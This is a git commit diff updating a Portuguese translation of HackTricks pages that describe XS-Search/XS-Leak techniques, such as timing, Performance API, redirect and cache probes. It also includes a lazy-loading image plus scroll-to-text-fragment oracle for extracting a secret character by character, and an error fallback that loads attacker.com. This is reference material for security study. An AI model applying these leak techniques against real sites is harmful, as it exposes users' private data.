Translated ['pentesting-web/xs-search.md', 'pentesting-web/xss-cross-sit

This commit is contained in:
Translator 2023-08-16 08:52:00 +00:00
parent 3bbae0589f
commit 0700ed60bc
5 changed files with 268 additions and 152 deletions

View file

@ -643,7 +643,9 @@
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
* [Server Side XSS (Dynamic PDF)](pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
* [Shadow DOM](pentesting-web/xss-cross-site-scripting/shadow-dom.md)
* [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
* [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
* [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
* [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
* [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md)

View file

@ -2,7 +2,7 @@
![](<../.gitbook/assets/image (9) (1) (2).png>)
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -15,7 +15,7 @@ Acesse hoje:
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -27,7 +27,7 @@ Existem diferentes elementos nesse tipo de ataque:
* **Web Vulnerável**: É a web de onde queremos exfiltrar algumas informações
* **Web do Atacante**: É a web que o atacante cria contendo o exploit e que a vítima acessa
* **Método de Inclusão**: É o método usado para carregar a Web Vulnerável a partir da web do Atacante (como window.open, iframe, fetch, tag HTML com href...)
* **Método de Inclusão**: É o método usado para carregar a Web Vulnerável a partir da Web do Atacante (como window.open, iframe, fetch, tag HTML com href...)
* **Técnica de Vazamento**: Após acessar a web vulnerável, uma técnica será usada para diferenciar entre os possíveis estados da web com as informações obtidas do método de inclusão usado.
* **Estados**: Os 2 possíveis estados que a web vulnerável pode ter, dependendo da vítima que queremos diferenciar.
* **Diferenças Detectáveis**: Essas são as informações que o atacante tem que tentar decidir o status da web vulnerável.
@ -45,7 +45,7 @@ Para distinguir entre os 2 estados da página vulnerável, várias coisas podem
### Métodos de Inclusão
* **Elementos HTML**. O HTML oferece uma variedade de elementos que permitem a **inclusão de recursos de origem cruzada**. Elementos como folhas de estilo, imagens ou scripts forçam o navegador da vítima a solicitar um recurso não HTML especificado. Uma lista que enumera possíveis elementos HTML para esse propósito está disponível online ([https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)).
* **Elementos HTML**. O HTML oferece uma variedade de elementos que permitem a **inclusão de recursos de origem cruzada**. Elementos como folhas de estilo, imagens ou scripts forçam o navegador da vítima a solicitar um recurso não-HTML especificado. Uma lista que enumera possíveis elementos HTML para esse propósito está disponível online ([https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)).
* **Frames**. Elementos como **iframe**, **object** e **embed** podem incorporar recursos HTML adicionais diretamente na página do atacante. Se a página **não usar proteção de enquadramento**, o código JavaScript pode acessar o objeto window do recurso emoldurado por meio da propriedade contentWindow.
* **Pop-ups**. O método **`window.open`** carrega um recurso em uma nova guia ou janela do navegador. O método retorna um **identificador de janela** que o código JavaScript pode usar para acessar métodos e propriedades, que estão em conformidade com a SOP. Essas chamadas pop-up são frequentemente usadas em logins únicos. Navegadores modernos só permitem pop-ups se forem acionados por determinadas interações do usuário. Para ataques XS-Leak, esse método é especialmente útil porque **burla restrições de enquadramento e cookies para um recurso de destino**. Versões mais recentes do navegador recentemente adicionaram meios para isolar identificadores de janela.
* **Requisições JavaScript**. O JavaScript permite enviar solicitações diretamente para recursos de destino. Existem duas maneiras diferentes para esse propósito: **XMLHttpRequests** e seu sucessor **Fetch** **API**. Ao contrário dos métodos de inclusão anteriores, um atacante tem controle detalhado sobre a solicitação emitida, por exemplo, se um redirecionamento HTTP deve ser seguido automaticamente.
@ -107,19 +107,19 @@ Existe também uma versão sem script deste ataque:
```
Neste caso, se `example.com/404` não for encontrado, `attacker.com/?error` será carregado.
### Tempo de Carregamento
### Tempo de carregamento
* **Métodos de Inclusão**: Elementos HTML
* **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
* **Métodos de inclusão**: Elementos HTML
* **Diferença detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Resumo**: A \*\*\*\* [**API performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pode ser usada para medir quanto tempo leva para realizar uma solicitação. No entanto, outros relógios podem ser usados, como [**API PerformanceLongTaskTiming**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), que pode identificar tarefas em execução por mais de 50ms.
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) outro exemplo em:
* **Resumo**: A API \*\*\*\* [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pode ser usada para medir quanto tempo leva para realizar uma solicitação. No entanto, outros relógios podem ser usados, como [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), que pode identificar tarefas em execução por mais de 50ms.
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) outro exemplo em:
{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}
#### Tempo de Carregamento + Tarefa Pesada Forçada
#### Tempo de carregamento + Tarefa pesada forçada
Essa técnica é semelhante à anterior, mas o **atacante** também irá **forçar** alguma ação para levar um **tempo relevante** quando a **resposta for positiva ou negativa** e medir esse tempo.
@ -127,33 +127,33 @@ Essa técnica é semelhante à anterior, mas o **atacante** também irá **forç
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}
### Tempo de Descarregamento/Beforeunload
### Tempo de descarregamento/antes do descarregamento
* **Métodos de Inclusão**: Frames
* **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
* **Métodos de inclusão**: Frames
* **Diferença detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Resumo**: O [relógio SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) pode ser usado para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
Os eventos [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) e [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event) podem ser usados para medir o tempo que leva para buscar um recurso. Isso funciona porque o **`beforeunload`** é acionado quando o navegador faz uma **nova solicitação de navegação**, enquanto o **`unload`** é acionado quando essa **navegação realmente ocorre**. Devido a esse comportamento, é possível calcular a diferença de tempo entre esses dois eventos e medir o **tempo que o navegador levou para concluir a busca do recurso**.
### Tempo de Frame com Sandbox + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
### Tempo de quadro com sandbox + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
* **Métodos de Inclusão**: Frames
* **Diferença Detectável**: Tempo (geralmente devido ao Conteúdo da Página, Código de Status)
* **Métodos de inclusão**: Frames
* **Diferença detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Resumo**: A API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pode ser usada para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
Se uma página não tiver nenhuma [Proteção de Enquadramento](https://xsleaks.dev/docs/defenses/opt-in/xfo/) implementada, um atacante pode medir quanto tempo leva para a página e todos os subrecursos serem carregados pela rede. Por padrão, o manipulador `onload` para um iframe é invocado após todos os recursos terem sido carregados e todo o JavaScript ter terminado de executar. No entanto, um atacante pode eliminar o ruído da execução do script incluindo o atributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) no `<iframe>`. Esse atributo bloqueia muitos recursos, incluindo a execução de JavaScript, o que resulta em uma medição quase pura da rede.
### #ID + error + onload
* **Métodos de Inclusão**: Frames
* **Diferença Detectável**: Conteúdo da Página
* **Métodos de inclusão**: Frames
* **Diferença detectável**: Conteúdo da página
* **Mais informações**:
* **Resumo**: Se você puder fazer com que a página apresente erro quando o conteúdo correto for acessado e fazê-la carregar corretamente quando qualquer conteúdo for acessado, então você pode criar um loop para extrair todas as informações sem medir o tempo.
* **Exemplo de Código**:
* **Exemplo de código**:
Suponha que você possa **inserir** a **página** que contém o **conteúdo secreto** dentro de um iframe.
@ -168,13 +168,13 @@ Se a primeira URL foi **carregada com sucesso**, então, ao **alterar** a parte
Dessa forma, você pode **distinguir** entre uma página **carregada corretamente** ou uma página que apresenta um **erro** ao ser acessada.
### Execução de Javascript
### Execução de JavaScript
* **Métodos de Inclusão**: Frames
* **Diferença Detectável**: Conteúdo da Página
* **Métodos de inclusão**: Frames
* **Diferença detectável**: Conteúdo da página
* **Mais informações**:
* **Resumo**: Se a **página** estiver **retornando** o **conteúdo sensível**, ou um **conteúdo** que pode ser **controlado** pelo usuário. O usuário pode definir um **código JS válido no caso negativo**, e **carregar** cada tentativa dentro de tags **`<script>`**, para que nos casos **negativos** o código do atacante seja **executado**, e nos casos **afirmativos** **nada** será executado.
* **Exemplo de Código**:
* **Resumo**: Se a **página** estiver **retornando** o **conteúdo sensível**, ou um **conteúdo** que pode ser **controlado** pelo usuário. O usuário pode definir um **código JS válido no caso negativo**, e carregar cada tentativa dentro de tags **`<script>`**, para que nos casos **negativos** o código do atacante seja **executado**, e nos casos **afirmativos** **nada** será executado.
* **Exemplo de código**:
{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
@ -339,42 +339,42 @@ Essa API pode ser usada para medir o tempo de uma solicitação ou para detectar
* **Exemplo de Código**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
Na técnica anterior, também foram identificados dois casos em que bugs do navegador no GC levam ao **carregamento duplicado de recursos quando eles falham em carregar**. Isso resultará em várias entradas na API de Desempenho e, portanto, pode ser detectado.
### Erro de Fusão de Solicitações
### Erro de Fusão de Requisições
* **Métodos de Inclusão**: Elementos HTML
* **Diferença Detectável**: Código de Status
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumo:** Solicitações que resultam em erro não podem ser mescladas.
* **Resumo**: Requisições que resultam em erro não podem ser fundidas.
* **Exemplo de Código**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
A técnica foi encontrada em uma tabela no artigo mencionado, mas nenhuma descrição da técnica foi encontrada nele. No entanto, você pode encontrar o código-fonte verificando-o em [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
A técnica foi encontrada em uma tabela no artigo mencionado, mas nenhuma descrição da técnica foi encontrada nele. No entanto, você pode encontrar o código-fonte verificando isso em [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Vazamento de Página Vazia
* **Métodos de Inclusão**: Frames
* **Diferença Detectável**: Conteúdo da Página
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumo:** Respostas vazias não criam entradas de tempo de recurso.
* **Resumo**: Respostas vazias não criam entradas de tempo de recurso.
* **Exemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
Um atacante pode detectar se uma solicitação resultou em um corpo de resposta HTTP vazio porque **páginas vazias não criam uma entrada de desempenho em alguns navegadores**.
Um atacante pode detectar se uma requisição resultou em um corpo de resposta HTTP vazio porque **páginas vazias não criam uma entrada de desempenho em alguns navegadores**.
### **Vazamento do XSS-Auditor**
* **Métodos de Inclusão**: Frames
* **Diferença Detectável**: Conteúdo da Página
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumo:** Detectar a presença de elementos específicos em uma página da web com o XSS-Auditor em SA.
* **Resumo**: Detectar a presença de elementos específicos em uma página da web com o XSS-Auditor em SA.
* **Exemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
No SA, é possível detectar se o XSSAuditor foi acionado e, assim, vazar informações sensíveis. O XSS-Auditor é um recurso incorporado do SA e do GC (agora removido) projetado para mitigar ataques de Cross-Site Scripting (XSS). Em 2013, Braun e Heiderich \[7] mostraram que o XSS-Auditor pode ser usado para bloquear scripts benignos com falsos positivos. Com base em sua técnica, os pesquisadores exfiltram informações e detectam conteúdo específico em uma página de origem cruzada. Esses XS-Leaks foram descritos pela primeira vez em um relatório de bug por Terada e posteriormente em um post de blog por Heyes. No entanto, as técnicas descobertas se aplicam apenas ao XSS-Auditor no GC e não funcionam no SA. Descobrimos que as páginas bloqueadas não criarão entradas da API de Desempenho. Isso significa que um atacante ainda pode vazar informações sensíveis com o XSS-Auditor no SA.
Em SA, é possível detectar se o XSSAuditor foi acionado e, assim, vazar informações sensíveis. O XSS-Auditor é um recurso incorporado do SA e GC (agora removido) projetado para mitigar ataques de Cross-Site Scripting (XSS). Em 2013, Braun e Heiderich \[7] mostraram que o XSS-Auditor pode ser usado para bloquear scripts benignos com falsos positivos. Com base em sua técnica, os pesquisadores exfiltram informações e detectam conteúdo específico em uma página de origem cruzada. Esses XS-Leaks foram descritos pela primeira vez em um relatório de bug por Terada e posteriormente em um post de blog por Heyes. No entanto, as técnicas descobertas se aplicam apenas ao XSS-Auditor no GC e não funcionam no SA. Descobrimos que as páginas bloqueadas não criarão entradas da API de Desempenho. Isso significa que um atacante ainda pode vazar informações sensíveis com o XSS-Auditor no SA.
### Vazamento do X-Frame
* **Métodos de Inclusão**: Frames
* **Diferença Detectável**: Cabeçalho
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **Resumo:** Recursos com o cabeçalho X-Frame-Options não criam entrada de tempo de recurso.
* **Resumo**: Recursos com o cabeçalho X-Frame-Options não criam entrada de tempo de recurso.
* **Exemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Se uma página **não é permitida** ser **renderizada** em um **iframe**, ela **não cria uma entrada de desempenho**. Como resultado, um atacante pode detectar o cabeçalho de resposta **`X-Frame-Options`**.\
@ -385,17 +385,17 @@ O mesmo acontece se você usar uma **tag embed**.
* **Métodos de Inclusão**: Frames
* **Diferença Detectável**: Cabeçalho
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumo:** Downloads não criam entradas de tempo de recurso na API de Desempenho.
* **Resumo**: Downloads não criam entradas de tempo de recurso na API de Desempenho.
* **Exemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Semelhante ao XS-Leak descrito, um **recurso que é baixado** por causa do cabeçalho ContentDisposition também **não cria uma entrada de desempenho**. Essa técnica funciona em todos os principais navegadores.
Similar ao XS-Leak descrito, um **recurso que é baixado** por causa do cabeçalho ContentDisposition, também **não cria uma entrada de desempenho**. Essa técnica funciona em todos os principais navegadores.
### Vazamento de Início de Redirecionamento
* **Métodos de Inclusão**: Frames
* **Diferença Detectável**: Redirecionamento
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumo:** A entrada de tempo de recurso vaza o horário de início de um redirecionamento.
* **Resumo**: A entrada de tempo de recurso vaza o horário de início de um redirecionamento.
* **Exemplo de Código**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Encontramos uma instância de XS-Leak que abusa do comportamento de alguns navegadores que registram muitas informações para solicitações de origem cruzada. O padrão define um subconjunto de atributos que devem ser definidos como zero para recursos de origem cruzada. No entanto, no **SA**, é possível detectar se o usuário é **redirecionado** pela página de destino, consultando a **API de Desempenho** e verificando os dados de tempo **redirectStart**.
@ -405,7 +405,7 @@ Encontramos uma instância de XS-Leak que abusa do comportamento de alguns naveg
* **Métodos de Inclusão**: Fetch API
* **Diferença Detectável**: Redirecionamento
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumo:** A duração das entradas de tempo é negativa quando ocorre um redirecionamento.
* **Resumo**: A duração das entradas de tempo é negativa quando ocorre um redirecionamento.
* **Exemplo de Código**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
No GC, a **duração** das solicitações que resultam em um **redirecionamento** é **negativa** e, portanto, pode ser **distinguível** das solicitações que não resultam em um redirecionamento.
@ -605,7 +605,7 @@ Ao enviar uma solicitação usando a Fetch API com `redirect: "manual"` e outros
Um atacante pode vazar se o cabeçalho Cross-Origin Opener Policy (COOP) estiver disponível em uma resposta HTTP de origem cruzada.
As aplicações web podem implantar o cabeçalho de resposta COOP para evitar que outros sites obtenham referências de janela arbitrárias para a aplicação. No entanto, esse **cabeçalho pode ser facilmente detectado** ao tentar ler a **referência `contentWindow`**. Se um site implantar **COOP em um estado**, essa propriedade (`opener`) será **indefinida**, **caso contrário**, ela será **definida**.
As aplicações web podem implantar o cabeçalho de resposta COOP para evitar que outros sites obtenham referências de janela arbitrárias para a aplicação. No entanto, esse **cabeçalho pode ser facilmente detectado** ao tentar ler a **referência `contentWindow`**. Se um site implantar **COOP em um estado específico**, essa propriedade (`opener`) será **indefinida**, **caso contrário**, será **definida**.
### Comprimento Máximo de URL - Lado do Servidor
@ -615,7 +615,7 @@ As aplicações web podem implantar o cabeçalho de resposta COOP para evitar qu
* **Resumo**: Detectar diferenças nas respostas devido ao comprimento da resposta de redirecionamento que pode ser muito grande, fazendo com que o servidor responda com um erro e gere um alerta.
* **Exemplo de Código**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Se um redirecionamento do lado do servidor usar **entrada do usuário dentro do redirecionamento** e **dados extras**. É possível detectar esse comportamento porque geralmente os **servidores** têm um **limite de comprimento da solicitação**. Se os **dados do usuário** tiverem **esse comprimento - 1**, porque o **redirecionamento** está usando **esses dados** e **adicionando** algo **extra**, ele acionará um **erro detectável por meio de Eventos de Erro**.
Se um redirecionamento do lado do servidor usar **entrada do usuário dentro do redirecionamento** e **dados extras**, é possível detectar esse comportamento porque geralmente os **servidores** têm um **limite de comprimento da solicitação**. Se os **dados do usuário** tiverem **esse comprimento - 1**, porque o **redirecionamento** está usando **esses dados** e **adicionando** algo **extra**, ele acionará um **erro detectável por meio de Eventos de Erro**.
Se você de alguma forma puder definir cookies para um usuário, também poderá realizar esse ataque **definindo cookies suficientes** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) para que, com o **aumento do tamanho da resposta** correta, seja acionado um **erro**. Nesse caso, lembre-se de que, se você acionar essa solicitação a partir do mesmo site, `<script>` enviará automaticamente os cookies (para que você possa verificar os erros).\
Um exemplo de **cookie bomba + XS-Search** pode ser encontrado na solução pretendida deste artigo: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
@ -651,7 +651,7 @@ Todas as informações extras necessárias para atingir os **2MB** podem ser adi
* **Resumo**: Abusa do limite de redirecionamentos para detectar redirecionamentos.
* **Exemplo de Código**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
Se o número **máximo** de **redirecionamentos** a serem seguidos por um navegador for **20**, um atacante pode tentar carregar sua página com **19 redirecionamentos** e, finalmente, **enviar a vítima** para a página testada. Se um **erro** for acionado, significa que a página estava tentando **redirecionar a vítima**.
Se o número **máximo** de **redirecionamentos** a serem seguidos por um navegador for **20**, um atacante pode tentar carregar sua página com **19 redirecionamentos** e, finalmente, **enviar a vítima** para a página testada. Se um **erro** for acionado, então a página estava tentando **redirecionar a vítima**.
### Comprimento do Histórico
@ -661,7 +661,7 @@ Se o número **máximo** de **redirecionamentos** a serem seguidos por um navega
* **Resumo**: O código JavaScript manipula o histórico do navegador e pode ser acessado pela propriedade de comprimento.
* **Exemplo de Código**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
A API de Histórico permite que o código JavaScript manipule o histórico do navegador, que **registra as páginas visitadas por um usuário**. Um atacante pode usar a propriedade de comprimento como um método de inclusão: para detectar navegações JavaScript e HTML.\
A API de Histórico permite que o código JavaScript manipule o histórico do navegador, que **salva as páginas visitadas por um usuário**. Um atacante pode usar a propriedade de comprimento como um método de inclusão: para detectar navegações JavaScript e HTML.\
Verificando `history.length`, fazendo um usuário **navegar** para uma página, **voltar** para a mesma origem e **verificando** o novo valor de **`history.length`**.
### Comprimento do Histórico com a mesma URL
@ -794,7 +794,7 @@ Mesma técnica que a anterior, mas usando `window.open` em vez de iframes.
(Comentário de [**aqui**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% endhint %}
Se um site `example.com` incluir um recurso de `*.example.com/resource`, esse recurso terá a **mesma chave de cache** como se o recurso fosse diretamente **solicitado por meio de navegação de nível superior**. Isso ocorre porque a chave de cache é composta pelo _eTLD+1_ de nível superior e pelo _eTLD+1_ do frame.
Se um site `example.com` incluir um recurso de `*.example.com/resource`, esse recurso terá a **mesma chave de cache** como se o recurso fosse solicitado diretamente por meio de navegação de nível superior. Isso ocorre porque a chave de cache é composta pelo _eTLD+1_ de nível superior e pelo _eTLD+1_ do quadro.
Como acessar o cache é mais rápido do que carregar um recurso, é possível tentar alterar a localização de uma página e cancelá-la 20ms (por exemplo) depois. Se a origem foi alterada após a interrupção, significa que o recurso foi armazenado em cache.\
Ou pode-se apenas **enviar um fetch para a página potencialmente armazenada em cache e medir o tempo que leva**.
@ -804,7 +804,7 @@ Ou pode-se apenas **enviar um fetch para a página potencialmente armazenada em
* **Métodos de Inclusão**: Fetch API
* **Diferença Detectável**: Redirecionamentos
* **Mais informações**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234)
* **Resumo:** É possível descobrir se uma resposta a uma solicitação de fetch é um redirecionamento
* **Resumo:** É possível descobrir se uma resposta a uma solicitação de fetch é um redirecionamento.
* **Exemplo de código**:
![](<../.gitbook/assets/image (652).png>)
@ -837,7 +837,7 @@ Ou pode-se apenas **enviar um fetch para a página potencialmente armazenada em
1. O atacante registra um service worker em um de seus domínios (attacker.com).
2. No documento principal, o atacante emite uma navegação (window.open) para o site alvo e instrui o Service Worker a iniciar um temporizador.
3. Quando a nova janela começa a carregar, o atacante navega para a referência obtida no passo 2 para uma página manipulada pelo Service Worker.
4. Quando a solicitação feita no passo 3 chega ao service worker, ele retorna uma resposta 204 (Sem conteúdo), o que interrompe a navegação.
4. Quando a solicitação realizada no passo 3 chega ao service worker, ele retorna uma resposta 204 (Sem conteúdo), o que interrompe a navegação.
5. Neste ponto, o Service Worker coleta uma medição do temporizador iniciado no passo 2. Essa medição é afetada pelo tempo que o JavaScript bloqueou a navegação.
{% hint style="warning" %}
@ -870,7 +870,7 @@ Acesse hoje mesmo:
## Com HTML ou Re Injeção
Aqui você encontrará técnicas para extrair informações de um HTML de origem cruzada **injetando conteúdo HTML**. Essas técnicas são interessantes em casos em que, por qualquer motivo, você pode **injetar HTML, mas não pode injetar código JS**.
Aqui você pode encontrar técnicas para extrair informações de um HTML de origem cruzada **injetando conteúdo HTML**. Essas técnicas são interessantes em casos em que, por qualquer motivo, você pode **injetar HTML, mas não pode injetar código JS**.
### Marcação Pendente
@ -887,21 +887,28 @@ As **imagens** em HTML têm um atributo "**loading**" cujo valor pode ser "**laz
```html
<img src=/something loading=lazy >
```
Portanto, o que você pode fazer é **adicionar muitos caracteres aleatórios** (por exemplo, **milhares de "W"**) para **preencher a página da web antes do segredo**. Fazemos isso para que a imagem não seja carregada no início.
Portanto, o que você pode fazer é **adicionar muitos caracteres aleatórios** (por exemplo, **milhares de "W"**) para **preencher a página da web antes do segredo ou adicionar algo como** `<br><canvas height="1850px"></canvas><br>.`\
Então, se por exemplo a **injeção aparecer antes da flag**, a **imagem** será **carregada**, mas se aparecer **depois** da **flag**, a flag + o lixo irá **impedir que seja carregada** (você precisará brincar com a quantidade de lixo a ser colocada). Isso é o que aconteceu neste [**relatório**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
No entanto, você faz o **bot acessar a página** com algo como
Outra opção seria usar o **scroll-to-text-fragment** se permitido:
#### Scroll-to-text-fragment
No entanto, faça o **bot acessar a página** com algo como
```
#:~:text=SECR
```
Então a página da web será algo como: **`https://victim.com/post.html#:~:text=SECR`**
Então a página da web será algo como: **`https://vitima.com/post.html#:~:text=SECR`**
Onde post.html contém os caracteres lixo do atacante e a imagem de carregamento lento e em seguida o segredo do bot é adicionado.
Onde post.html contém os caracteres maliciosos do atacante e a imagem de carregamento lento e em seguida o segredo do bot é adicionado.
O que este texto fará é fazer com que o bot acesse qualquer texto na página que contenha o texto `SECR`. Como esse texto é o segredo e está logo abaixo da imagem, a imagem só será carregada se o segredo adivinhado estiver correto. Então você tem seu oráculo para extrair o segredo caractere por caractere.
Alguns exemplos de código para explorar isso: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
Encontre **outro exemplo usando carregamento lento** aqui:
### Carregamento Lento de Imagem Baseado em Tempo
